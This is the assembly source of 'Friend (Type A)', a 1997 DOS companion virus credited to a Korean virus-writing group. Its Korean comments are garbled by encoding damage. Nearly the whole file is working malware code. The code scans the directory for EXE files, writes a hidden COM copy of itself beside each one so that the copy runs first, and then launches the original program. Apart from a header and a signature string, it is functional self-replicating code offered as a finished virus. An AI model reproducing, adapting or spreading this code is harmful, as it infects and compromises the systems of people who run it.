;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                                               CVC #02  97/09
; Virus Name : Friend (Type A)
;
; Author : Osiris of CVC,Corea
; Date : 1997/09/05
;
; Type : Non-resident Companion
;
; w Companion aaa. ee A aAAbE eew aaa.
; e BɡA 1  EXE ai xa  aw COM ai Ёa.
;  EXE ai a gaa Aa i awe ᷁ a.
;
; áae E COM ae bAae Ea.
;
; A a֔ eew e g ia.
; b w 񬂵A e A ae, |a Ae e w
; A e eI a.
;
; ww bΑe wa.
;
;
;
;
;
;
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

            .MODEL  TINY
            .CODE

 PARASIZE   EQU  (End_Memory-Friend+0Fh) SHR 4 + 13h

            org   100h

 Friend:
            mov   ah,2fh                    ; DTA a
            int   21h
            push  es                        ; DTA t w
            push  bx

            mov   ah,1ah                    ;  DTA 
            mov   dx, offset NewDTA
            int   21h

            mov   ah,4Eh                    ; EXE a x
            mov   cx,00100011B              ; w/a
            mov   dx, offset Mask_EXE       ;
 Find_repeat:
            int   21h                       ;
            jc    Execute_EXE               ; qq ǩ a ae EXE З

 Infect_EXE:
            mov   si, offset NewDTA + 1Eh   ;
            call  ChgExt                    ; EXE -> COM,COM -> EXE

            mov   ax, 4300h                 ; qq a ·
            mov   dx, offset NewDTA + 1Eh   ; (COM a  aea?)
            int   21h
            jc    Drop_COM                  ;  xi  ae qq E

            mov   ah, 4Fh                   ; aq a x
            jmp   Find_repeat

 Drop_COM:
            mov   ah, 3ch                   ; COM a 
            mov   cx, 00000011B             ; e aw/
            mov   dx, offset NewDTA + 1Eh
            int   21h

            xchg  ax,bx                     ; Ѕi 苡

            mov   ah, 40h                   ; aa a
            mov   cx, offset End_virus - 100h
            mov   dx, 100h
            int   21h

            mov   ah, 3eh                   ; a h
            int   21h

 Execute_EXE:
            pop   dx                        ;  DTA 
            pop   ds
            mov   ah,1ah
            int   21h

            mov   sp, offset End_Memory     ; aȂ 

            mov   ah,4ah                    ; A 
            mov   bx, PARASIZE
            int   21h

            call  Set_env                   ;  EXE a Зi e ŉw
                                            ; wb 

            mov   si, offset Filename
            call  ChgExt                    ; ¸wa ew

            mov   ax,4b00h                  ;  EXE a З
            mov   bx, offset Env_Block
            mov   dx, offset Filename
            int   21h

            mov   ah,4dh                    ; t 苡
            int   21h
 Stop_virus:
            mov   ax, 4c00h                 ; aa {
            int   21h

;
; ¸wa a (EXE -> COM, COM -> EXE)
; b SI = aa ae ¸wa

 ChgExt     proc  near                      ; ¸wa a

 Loop_Eof:
            lodsb
            or    al,al
            jnz   Loop_Eof

            mov   di,si
            sub   di,4                      ; DI = ¸wa á
            mov   si, offset Ext_COM        ; SI = COM

            cmp   byte ptr [di],'E'         ; EXE a a ?
            jz    mov_ext
            add   si,0005                   ; SI = EXE
 mov_ext:
            mov   cx,0003
            repz  movsb                     ; ¸waa COM e EXE 
                                            ; EXE e COM a aa.
            ret
 ChgExt     Endp


; ŵwwbA ЗA ϩae  苡
;
;
 Set_Env    proc

            mov   PSP1,es
            mov   PSP2,es
            mov   PSP3,es

 Search_RD:                                 ; a Зa Ё ϩae tii iaa.
            xor   si,si
            mov   ds,ds:[002Ch]             ; Зǥ a qi iaa.

 Search_RD_LOOP:
            cmp   word ptr DS:[SI],0000     ; aqAe 0000a.
            jz    Get_FileName              ; PSP:[002Ch] --> Aaa
            inc   si
            jmp   Search_RD_LOOP

 Get_FileName:
            add   si,0004
            mov   dx,si                     ; e ЗAe aq

            mov   di, offset Filename
            mov   cx,0080
            repz  movsb

            push  cs                        ;
            pop   ds
            RET

 Set_env    endp

            db    '[Friend] The first Corean Companion virus..'
            db    '(c) 1997/09 Osiris of CVC (Corean Virus Club),Corea'

; Зi e i
 ENV_BLOCK  dw    ?                         ; Зw i
            dw    80h                       ;
 PSP1       dw    ?
            dw    5ch                       ;
 PSP2       dw    ?
            dw    6ch                       ;
 PSP3       dw    ?

 Ext_COM    db    'COM'                     ; ¸wa COM
 Mask_EXE   db    '*.EXE',00                ; ¸wa EXE

 End_Virus:

 Filename   db    85  dup (0)               ; a q
 NewDTA     db    50  dup (0)               ; DTA
            db    100 dup (0)               ; aȂ
 End_Memory:

            END   Friend

